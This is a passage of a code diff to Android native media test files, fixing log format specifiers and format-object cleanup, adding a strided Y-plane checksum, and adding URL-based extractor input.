             } else {
-                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", (int)oBufferID);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %zd", oBufferID);
                 return false;
             }
             ssize_t iBufferId = AMediaCodec_dequeueInputBuffer(mDecoder, kQDeQTimeOutUs);
@@ -440,7 +441,7 @@
                 frameCnt++;
             } else if (iBufferId == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", (int)iBufferId);
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %zd", iBufferId);
                 return false;
             }
             if (mSawDecOutputEOS) AMediaCodec_signalEndOfInputStream(mEncoder);
diff --git a/tests/media/jni/NativeCodecEncoderTest.cpp b/tests/media/jni/NativeCodecEncoderTest.cpp
index 6748c31..ef7f1c8 100644
--- a/tests/media/jni/NativeCodecEncoderTest.cpp
+++ b/tests/media/jni/NativeCodecEncoderTest.cpp
@@ -213,9 +213,9 @@
 bool CodecEncoderTest::flushCodec() {
     bool isOk = CodecTestBase::flushCodec();
     if (mIsAudio) {
-        mInputOffsetPts = (mNumBytesSubmitted + 1024) * 1000000L / (2 * mChannels * mSampleRate);
+        mInputOffsetPts = (mNumBytesSubmitted + 1024) * 1000000LL / (2 * mChannels * mSampleRate);
     } else {
-        mInputOffsetPts = (mInputCount + 5) * 1000000L / mDefFrameRate;
+        mInputOffsetPts = (mInputCount + 5) * 1000000LL / mDefFrameRate;
     }
     mPrevOutputPts = mInputOffsetPts - 1;
     mNumBytesSubmitted = 0;
@@ -275,7 +275,7 @@
         size_t buffSize;
         uint8_t* inputBuffer = AMediaCodec_getInputBuffer(mCodec, bufferIndex, &buffSize);
         if (mIsAudio) {
-            pts += mNumBytesSubmitted * 1000000L / (2 * mChannels * mSampleRate);
+            pts += mNumBytesSubmitted * 1000000LL / (2 * mChannels * mSampleRate);
             size = std::min(buffSize, mInputLength - mNumBytesSubmitted);
             memcpy(inputBuffer, mInputData + mNumBytesSubmitted, size);
             if (mNumBytesSubmitted + size >= mInputLength && mSignalEOSWithLastFrame) {
@@ -284,7 +284,7 @@
             }
             mNumBytesSubmitted += size;
         } else {
-            pts += mInputCount * 1000000L / mDefFrameRate;
+            pts += mInputCount * 1000000LL / mDefFrameRate;
             size = mWidth * mHeight * 3 / 2;
             int frmSize = kInpFrmWidth * kInpFrmHeight * 3 / 2;
             if (mNumBytesSubmitted + frmSize > mInputLength) {
@@ -308,7 +308,8 @@
         }
         CHECK_STATUS(AMediaCodec_queueInputBuffer(mCodec, bufferIndex, 0, size, pts, flags),
                      "AMediaCodec_queueInputBuffer failed");
-        ALOGV("input: id: %zu  size: %d  pts: %d  flags: %d", bufferIndex, size, (int)pts, flags);
+        ALOGV("input: id: %zu  size: %d  pts: %" PRId64 "  flags: %d", bufferIndex, size, pts,
+              flags);
         mOutputBuff->saveInPTS(pts);
         mInputCount++;
     }
@@ -334,8 +335,8 @@
             mOutputCount++;
         }
     }
-    ALOGV("output: id: %zu  size: %d  pts: %d  flags: %d", bufferIndex, info->size,
-          (int)info->presentationTimeUs, info->flags);
+    ALOGV("output: id: %zu  size: %d  pts: %" PRId64 "  flags: %d", bufferIndex, info->size,
+          info->presentationTimeUs, info->flags);
     CHECK_STATUS(AMediaCodec_releaseOutputBuffer(mCodec, bufferIndex, false),
                  "AMediaCodec_releaseOutputBuffer failed");
     return !hasSeenError();
diff --git a/tests/media/jni/NativeCodecTestBase.cpp b/tests/media/jni/NativeCodecTestBase.cpp
index f5a0c21..d84e4d1 100644
--- a/tests/media/jni/NativeCodecTestBase.cpp
+++ b/tests/media/jni/NativeCodecTestBase.cpp
@@ -194,8 +194,9 @@
         if (lastPts < *it1) {
             lastPts = *it1;
         } else {
-            ALOGE("Timestamp ordering check failed: last timestamp: %d / current timestamp: %d",
-                  (int)lastPts, (int)*it1);
+            ALOGE("Timestamp ordering check failed: last timestamp: %" PRId64
+                  " / current timestamp: %" PRId64 "",
+                  lastPts, *it1);
             result = false;
             break;
         }
@@ -203,6 +204,31 @@
     return result;
 }
 
+void OutputManager::updateChecksum(
+        uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride) {
+    uint8_t flattenInfo[16];
+    int pos = 0;
+    if (width <= 0 || height <= 0 || stride <= 0) {
+        flattenField<int32_t>(flattenInfo, &pos, info->size);
+    }
+    flattenField<int32_t>(flattenInfo, &pos,
+                          info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
+    flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
+    crc32value = crc32(crc32value, flattenInfo, pos);
+    if (width > 0 && height > 0 && stride > 0) {
+        // Only checksum Y plane
+        std::vector<uint8_t> tmp(width * height, 0u);
+        size_t offset = 0;
+        for (int i = 0; i < height; ++i) {
+            memcpy(tmp.data() + (i * width), buf + offset, width);
+            offset += stride;
+        }
+        crc32value = crc32(crc32value, tmp.data(), width * height);
+    } else {
+        crc32value = crc32(crc32value, buf, info->size);
+    }
+}
+
 bool OutputManager::isOutPtsListIdenticalToInpPtsList(bool requireSorting) {
     bool isEqual = true;
     std::sort(inpPtsArray.begin(), inpPtsArray.end());
@@ -212,14 +238,15 @@
     if (outPtsArray != inpPtsArray) {
         if (outPtsArray.size() != inpPtsArray.size()) {
             ALOGE("input and output presentation timestamp list sizes are not identical sizes "
-                  "exp/rec %d/%d", (int)inpPtsArray.size(), (int)outPtsArray.size());
+                  "exp/rec %zu/%zu", inpPtsArray.size(), outPtsArray.size());
             isEqual = false;
         } else {
             int count = 0;
             for (auto it1 = outPtsArray.cbegin(), it2 = inpPtsArray.cbegin();
                  it1 < outPtsArray.cend(); it1++, it2++) {
                 if (*it1 != *it2) {
-                    ALOGE("input output pts mismatch, exp/rec %d/%d", (int)*it2, (int)*it1);
+                    ALOGE("input output pts mismatch, exp/rec %" PRId64 "/%" PRId64 "",
+                          *it2, *it1);
                     count++;
                 }
                 if (count == 20) {
@@ -237,15 +264,15 @@
     if (this == that) return true;
     if (outPtsArray != that->outPtsArray) {
         if (outPtsArray.size() != that->outPtsArray.size()) {
-            ALOGE("ref and test outputs presentation timestamp arrays are of unequal sizes %d, %d",
-                  (int)outPtsArray.size(), (int)that->outPtsArray.size());
+            ALOGE("ref and test outputs presentation timestamp arrays are of unequal sizes "
+                  "%zu, %zu", outPtsArray.size(), that->outPtsArray.size());
             return false;
         } else {
             int count = 0;
             for (auto it1 = outPtsArray.cbegin(), it2 = that->outPtsArray.cbegin();
                  it1 < outPtsArray.cend(); it1++, it2++) {
                 if (*it1 != *it2) {
-                    ALOGE("presentation timestamp exp/rec %d/%d", (int)*it1, (int)*it2);
+                    ALOGE("presentation timestamp exp/rec %" PRId64 "/%" PRId64 "", *it1, *it2);
                     count++;
                 }
                 if (count == 20) {
@@ -259,14 +286,14 @@
     if (crc32value != that->crc32value) {
         ALOGE("ref and test outputs checksum do not match %lu, %lu", crc32value, that->crc32value);
         if (memory.size() != that->memory.size()) {
-            ALOGE("ref and test outputs decoded buffer are of unequal sizes %d, %d",
-                  (int)memory.size(), (int)that->memory.size());
+            ALOGE("ref and test outputs decoded buffer are of unequal sizes %zu, %zu",
+                  memory.size(), that->memory.size());
         } else {
             int count = 0;
             for (auto it1 = memory.cbegin(), it2 = that->memory.cbegin(); it1 < memory.cend();
                  it1++, it2++) {
                 if (*it1 != *it2) {
-                    ALOGE("decoded sample exp/rec %d/%d", (int)*it1, (int)*it2);
+                    ALOGE("decoded sample exp/rec %d/%d", *it1, *it2);
                     count++;
                 }
                 if (count == 20) {
@@ -414,7 +441,7 @@
             } else if (oBufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (oBufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
-                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", (int)oBufferID);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %zd", oBufferID);
                 return false;
             }
             ssize_t iBufferId = AMediaCodec_dequeueInputBuffer(mCodec, kQDeQTimeOutUs);
@@ -423,7 +450,7 @@
                 frameCnt++;
             } else if (iBufferId == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", (int)iBufferId);
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %zd", iBufferId);
                 return false;
             }
         }
@@ -446,7 +473,7 @@
             if (bufferIndex >= 0) {
                 isOk = enqueueEOS(bufferIndex);
             } else {
-                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", (int)bufferIndex);
+                ALOGE("unexpected return value from *_dequeueInputBuffer: %d", bufferIndex);
                 return false;
             }
         }
@@ -479,7 +506,7 @@
             } else if (bufferID == AMEDIACODEC_INFO_TRY_AGAIN_LATER) {
             } else if (bufferID == AMEDIACODEC_INFO_OUTPUT_BUFFERS_CHANGED) {
             } else {
-                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", (int)bufferID);
+                ALOGE("unexpected return value from *_dequeueOutputBuffer: %d", bufferID);
                 return false;
             }
         }
diff --git a/tests/media/jni/NativeCodecTestBase.h b/tests/media/jni/NativeCodecTestBase.h
index 87a46f9..4282e4a 100644
--- a/tests/media/jni/NativeCodecTestBase.h
+++ b/tests/media/jni/NativeCodecTestBase.h
@@ -103,18 +103,13 @@
     bool isPtsStrictlyIncreasing(int64_t lastPts);
     bool isOutPtsListIdenticalToInpPtsList(bool requireSorting);
     void saveToMemory(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        memory.insert(memory.end(), buf + info->offset, buf + info->size);
+        memory.insert(memory.end(), buf, buf + info->size);
     }
     void updateChecksum(uint8_t* buf, AMediaCodecBufferInfo* info) {
-        crc32value = crc32(crc32value, buf + info->offset, info->size);
-        uint8_t flattenInfo[16];
-        int pos = 0;
-        flattenField<int32_t>(flattenInfo, &pos, info->size);
-        flattenField<int32_t>(flattenInfo, &pos,
-                              info->flags & ~AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM);
-        flattenField<int64_t>(flattenInfo, &pos, info->presentationTimeUs);
-        crc32value = crc32(crc32value, flattenInfo, sizeof(flattenInfo));
+        updateChecksum(buf, info, 0, 0, 0);
     }
+    void updateChecksum(
+            uint8_t* buf, AMediaCodecBufferInfo* info, int width, int height, int stride);
     uLong getChecksum() { return crc32value; }
     void reset() {
         inpPtsArray.clear();
diff --git a/tests/media/jni/NativeCodecUnitTest.cpp b/tests/media/jni/NativeCodecUnitTest.cpp
index 3709172..aa27619 100644
--- a/tests/media/jni/NativeCodecUnitTest.cpp
+++ b/tests/media/jni/NativeCodecUnitTest.cpp
@@ -745,11 +745,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -768,11 +769,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -789,22 +791,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getInputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getInputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getInputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -918,11 +922,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -941,11 +946,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (!dupMime || strcmp(dupMime, mime) != 0) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat fails in running state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -960,22 +966,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getOutputFormat(mCodec);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getOutputFormat(mCodec);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("getOutputFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
@@ -1191,8 +1199,8 @@
         } else {
             if (AMEDIA_OK == AMediaCodec_queueInputBuffer(mCodec, 0, 0, bufSize + 100, 0,
                                                           AMEDIACODEC_BUFFER_FLAG_END_OF_STREAM)) {
-                ALOGE("queueInputBuffer succeeds for bad size %d, buffer capacity %d, ",
-                      (int)bufSize + 100, (int)bufSize);
+                ALOGE("queueInputBuffer succeeds for bad size %zu, buffer capacity %zu ",
+                      bufSize + 100, bufSize);
                 return false;
             }
         }
@@ -1373,11 +1381,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in initialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
     }
     return !hasSeenError();
@@ -1397,11 +1406,12 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, -1);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds for bad buffer index -1");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!queueEOS()) return false;
         if (!hasSeenError()) {
             int bufferIndex = 0;
@@ -1414,11 +1424,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(element.bufferIndex, &element.bufferInfo);
                     }
                 } else {
@@ -1427,11 +1438,12 @@
                         dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
                         dupMime = nullptr;
                         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-                        AMediaFormat_delete(dupFormat);
                         if (!dupMime || strcmp(dupMime, mime) != 0) {
+                            AMediaFormat_delete(dupFormat);
                             ALOGE("GetBufferFormat fails in running state");
                             return false;
                         }
+                        AMediaFormat_delete(dupFormat);
                         isOk = dequeueOutput(bufferIndex, &outInfo);
                     }
                 }
@@ -1443,11 +1455,12 @@
             dupFormat = AMediaCodec_getBufferFormat(mCodec, bufferIndex);
             dupMime = nullptr;
             AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-            AMediaFormat_delete(dupFormat);
             if (dupMime) {
+                AMediaFormat_delete(dupFormat);
                 ALOGE("GetBufferFormat succeeds for buffer index not owned by client");
                 return false;
             }
+            AMediaFormat_delete(dupFormat);
         } else {
             ALOGE("Got unexpected error");
             return false;
@@ -1466,22 +1479,24 @@
         AMediaFormat* dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         const char* dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in uninitialized state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
         if (!configureCodec(mFormat, isAsync, false, isEncoder)) return false;
         CHECK_STATUS(AMediaCodec_start(mCodec), "AMediaCodec_start failed");
         CHECK_STATUS(AMediaCodec_stop(mCodec), "AMediaCodec_stop failed");
         dupFormat = AMediaCodec_getBufferFormat(mCodec, 0);
         dupMime = nullptr;
         AMediaFormat_getString(dupFormat, AMEDIAFORMAT_KEY_MIME, &dupMime);
-        AMediaFormat_delete(dupFormat);
         if (dupMime) {
+            AMediaFormat_delete(dupFormat);
             ALOGE("GetBufferFormat succeeds in stopped state");
             return false;
         }
+        AMediaFormat_delete(dupFormat);
     }
     return !hasSeenError();
 }
diff --git a/tests/media/jni/NativeExtractorTest.cpp b/tests/media/jni/NativeExtractorTest.cpp
index 016a188..de0fae8 100644
--- a/tests/media/jni/NativeExtractorTest.cpp
+++ b/tests/media/jni/NativeExtractorTest.cpp
@@ -93,68 +93,66 @@
                 setSampleInfo(refExtractor, &refSampleInfo);
                 setSampleInfo(testExtractor, &testSampleInfo);
                 if (!isSampleInfoValidAndIdentical(&refSampleInfo, &testSampleInfo)) {
-                    ALOGD(" Mime: %s mismatch for sample: %d", refMime, frameCount);
+                    ALOGD(" Mime: %s mismatch for sample: %d", mime, frameCount);
                     ALOGD(" flags exp/got: %d / %d", refSampleInfo.flags, testSampleInfo.flags);
                     ALOGD(" size exp/got: %d / %d ", refSampleInfo.size, testSampleInfo.size);
-                    ALOGD(" ts exp/got: %d / %d ", (int)refSampleInfo.presentationTimeUs,
-                          (int)testSampleInfo.presentationTimeUs);
+                    ALOGD(" ts exp/got: %" PRId64 " / %" PRId64 "",
+                          refSampleInfo.presentationTimeUs, testSampleInfo.presentationTimeUs);
                     areTracksIdentical = false;
                     break;
                 }
                 ssize_t refSz =
                         AMediaExtractor_readSampleData(refExtractor, refBuffer, maxSampleSize);
                 if (refSz != refSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, refSampleInfo.size, refSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, refSampleInfo.size, refSz);
                     areTracksIdentical = false;
                     break;
                 }
                 ssize_t testSz =
                         AMediaExtractor_readSampleData(testExtractor, testBuffer, maxSampleSize);
                 if (testSz != testSampleInfo.size) {
-                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", refMime, testSampleInfo.size,
-                          testSz);
+                    ALOGD("Mime: %s Size exp/got:  %d / %zd ", mime, testSampleInfo.size, testSz);
                     areTracksIdentical = false;
                     break;
                 }
                 int trackIndex = AMediaExtractor_getSampleTrackIndex(refExtractor);
                 if (trackIndex != refTrackID) {
-                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", refMime, refTrackID, trackIndex);
+                    ALOGD("Mime: %s TrackID exp/got: %zu / %d", mime, refTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 trackIndex = AMediaExtractor_getSampleTrackIndex(testExtractor);
                 if (trackIndex != testTrackID) {
-                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", refMime, testTrackID,
-                          trackIndex);
+                    ALOGD("Mime: %s  TrackID exp/got %zd / %d : ", mime, testTrackID, trackIndex);
                     areTracksIdentical = false;
                     break;
                 }
                 if (memcmp(refBuffer, testBuffer, refSz)) {
-                    ALOGD("Mime: %s Mismatch in sample data", refMime);
+                    ALOGD("Mime: %s Mismatch in sample data", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 bool haveRefSamples = AMediaExtractor_advance(refExtractor);
                 bool haveTestSamples = AMediaExtractor_advance(testExtractor);
                 if (haveRefSamples != haveTestSamples) {
-                    ALOGD("Mime: %s Mismatch in sampleCount", refMime);
+                    ALOGD("Mime: %s Mismatch in sampleCount", mime);
                     areTracksIdentical = false;
                     break;
                 }
 
                 if (!haveRefSamples && !isExtractorOKonEOS(refExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
                 if (!haveTestSamples && !isExtractorOKonEOS(testExtractor)) {
-                    ALOGD("Mime: %s calls post advance() are not OK", refMime);
+                    ALOGD("Mime: %s calls post advance() are not OK", mime);
                     areTracksIdentical = false;
                     break;
                 }
-                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: %d", refMime, frameCount,
-                      refSampleInfo.flags, refSampleInfo.size,
-                      (int)refSampleInfo.presentationTimeUs);
+                ALOGV("Mime: %s Sample: %d flags: %d size: %d ts: % " PRId64 "", mime,
+                      frameCount, refSampleInfo.flags, refSampleInfo.size,
+                      refSampleInfo.presentationTimeUs);
                 if (!haveRefSamples || frameCount >= sampleLimit) {
                     break;
                 }
@@ -215,6 +213,37 @@
     return extractor;
 }
 
+static bool createExtractorFromUrl(JNIEnv* env, jobjectArray jkeys, jobjectArray jvalues,
+                                   AMediaExtractor** ex, AMediaDataSource** ds, const char* url) {
+    int numkeys = jkeys ? env->GetArrayLength(jkeys) : 0;
+    int numvalues = jvalues ? env->GetArrayLength(jvalues) : 0;
+    if (numkeys != numvalues) {
+        ALOGE("Unequal number of keys and values");
+        return false;
+    }
+    const char** keyvalues = numkeys ? new const char*[numkeys * 2] : nullptr;
+    for (int i = 0; i < numkeys; i++) {
+        auto jkey = (jstring)(env->GetObjectArrayElement(jkeys, i));
+        auto jvalue = (jstring)(env->GetObjectArrayElement(jvalues, i));
+        const char* key = env->GetStringUTFChars(jkey, nullptr);
+        const char* value = env->GetStringUTFChars(jvalue, nullptr);
+        keyvalues[i * 2] = key;
+        keyvalues[i * 2 + 1] = value;
+    }
+    *ex = AMediaExtractor_new();
+    *ds = AMediaDataSource_newUri(url, numkeys, keyvalues);
+    bool isPass = *ds ? (AMEDIA_OK == AMediaExtractor_setDataSourceCustom(*ex, *ds)) : false;
+    if (!isPass) ALOGE("setDataSourceCustom failed");
+    for (int i = 0; i < numkeys; i++) {
+        auto jkey = (jstring)(env->GetObjectArrayElement(jkeys, i));
+        auto jvalue = (jstring)(env->GetObjectArrayElement(jvalues, i));
+        env->ReleaseStringUTFChars(jkey, keyvalues[i * 2]);
+        env->ReleaseStringUTFChars(jvalue, keyvalues[i * 2 + 1]);
+    }
+    delete[] keyvalues;
+    return isPass;
+}
+
 // content necessary for testing seek are grouped in this class
 class SeekTestParams {
   public:
@@ -392,6 +421,7 @@
         const char* currMime = nullptr;
         bool hasKey = AMediaFormat_getString(format, AMEDIAFORMAT_KEY_MIME, &currMime);
         if (!hasKey || strcmp(currMime, mime) != 0) {
+            AMediaFormat_delete(format);
             continue;
         }
         AMediaExtractor_selectTrack(extractor, trackID);
@@ -402,8 +432,8 @@
             if (!isSampleInfoIdentical(&arg->mExpected, &received)) {
                 ALOGE(" flags exp/got: %d / %d", arg->mExpected.flags, received.flags);
                 ALOGE(" size exp/got: %d / %d ", arg->mExpected.size, received.size);
-                ALOGE(" ts exp/got: %d / %d ", (int)arg->mExpected.presentationTimeUs,
-                      (int)received.presentationTimeUs);
+                ALOGE(" ts exp/got: %" PRId64 " / %" PRId64 "", arg->mExpected.presentationTimeUs,
+                      received.presentationTimeUs);
                 errCnt++;
             }
         }
@@ -460,8 +490,8 @@
                 if (!result) {
                     ALOGE(" flags exp/got: %d / %d", refSampleInfo.flags, testSampleInfo.flags);
                     ALOGE(" size exp/got: %d / %d ", refSampleInfo.size, testSampleInfo.size);
-                    ALOGE(" ts exp/got: %d / %d ", (int)refSampleInfo.presentationTimeUs,
-                          (int)testSampleInfo.presentationTimeUs);
+                    ALOGE(" ts exp/got: %" PRId64 " / %" PRId64 "",
+                          refSampleInfo.presentationTimeUs, testSampleInfo.presentationTimeUs);
                 }
                 int refTrackIdx = AMediaExtractor_getSampleTrackIndex(refExtractor);
                 int testTrackIdx = AMediaExtractor_getSampleTrackIndex(testExtractor);
@@ -478,22 +508,35 @@
 }
 
 static jlong nativeReadAllData(JNIEnv* env, jobject, jstring jsrcPath, jstring jmime,
-                               jint sampleLimit) {
+                               jint sampleLimit, jobjectArray jkeys, jobjectArray jvalues,
+                               jboolean isSrcUrl) {
     const int maxSampleSize = (4 * 1024 * 1024);
-    bool isPass = false;
+    bool isPass = true;
     uLong crc32value = 0U;
     const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
     const char* cmime = env->GetStringUTFChars(jmime, nullptr);
-    FILE* srcFp = fopen(csrcPath, "rbe");
-    AMediaExtractor* extractor = createExtractorFromFD(srcFp);
-    if (extractor == nullptr) {
-        if (srcFp) fclose(srcFp);
+    AMediaExtractor* extractor = nullptr;
+    AMediaDataSource* dataSource = nullptr;
+    FILE* srcFp = nullptr;
+
+    if (isSrcUrl) {
+        isPass = createExtractorFromUrl(env, jkeys, jvalues, &extractor, &dataSource, csrcPath);
+    } else {
+        srcFp = fopen(csrcPath, "rbe");
+        extractor = createExtractorFromFD(srcFp);
+        if (extractor == nullptr) {
+            if (srcFp) fclose(srcFp);
+            isPass = false;
+        }
+    }
+    if (!isPass) {
         env->ReleaseStringUTFChars(jmime, cmime);
         env->ReleaseStringUTFChars(jsrcPath, csrcPath);
-        ALOGE(" Error while creating extractor");
+        ALOGE("Error while creating extractor");
+        if (dataSource) AMediaDataSource_delete(dataSource);
+        if (extractor) AMediaExtractor_delete(extractor);
         return static_cast<jlong>(-2);
     }
-    isPass = true;
     auto buffer = new uint8_t[maxSampleSize];
     int bufferSize = 0;
     int tracksSelected = 0;
@@ -586,7 +629,8 @@
         }
     }
     delete[] buffer;
-    AMediaExtractor_delete(extractor);
+    if (extractor) AMediaExtractor_delete(extractor);
+    if (dataSource) AMediaDataSource_delete(dataSource);
     if (srcFp) fclose(srcFp);
     env->ReleaseStringUTFChars(jmime, cmime);
     env->ReleaseStringUTFChars(jsrcPath, csrcPath);
@@ -632,8 +676,8 @@
         std::shuffle(seekTestArgs.begin(), seekTestArgs.end(), std::default_random_engine(kSeed));
         int seekAccErrCnt = checkSeekPoints(csrcPath, cmime, seekTestArgs);
         if (seekAccErrCnt != 0) {
-            ALOGE("For %s seek chose inaccurate Sync point in: %d / %d", csrcPath, seekAccErrCnt,
-                  (int)seekTestArgs.size());
+            ALOGE("For %s seek chose inaccurate Sync point in: %d / %zu", csrcPath, seekAccErrCnt,
+                  seekTestArgs.size());
             isPass = false;
         } else {
             isPass = true;
@@ -705,8 +749,8 @@
                     ALOGE("seen mismatch seekTo(0, SEEK_TO_CLOSEST_SYNC)");
                     ALOGE(" flags exp/got: %d / %d", sampleInfoAtZero.flags, currInfo.flags);
                     ALOGE(" size exp/got: %d / %d ", sampleInfoAtZero.size, currInfo.size);
-                    ALOGE(" ts exp/got: %d / %d ", (int)sampleInfoAtZero.presentationTimeUs,
-                          (int)currInfo.presentationTimeUs);
+                    ALOGE(" ts exp/got: %" PRId64 " / %" PRId64 " ",
+                          sampleInfoAtZero.presentationTimeUs, currInfo.presentationTimeUs);
                     AMediaFormat_delete(format);
                     break;
                 }
@@ -717,8 +761,8 @@
                     ALOGE("seen mismatch seekTo(-1, SEEK_TO_CLOSEST_SYNC)");
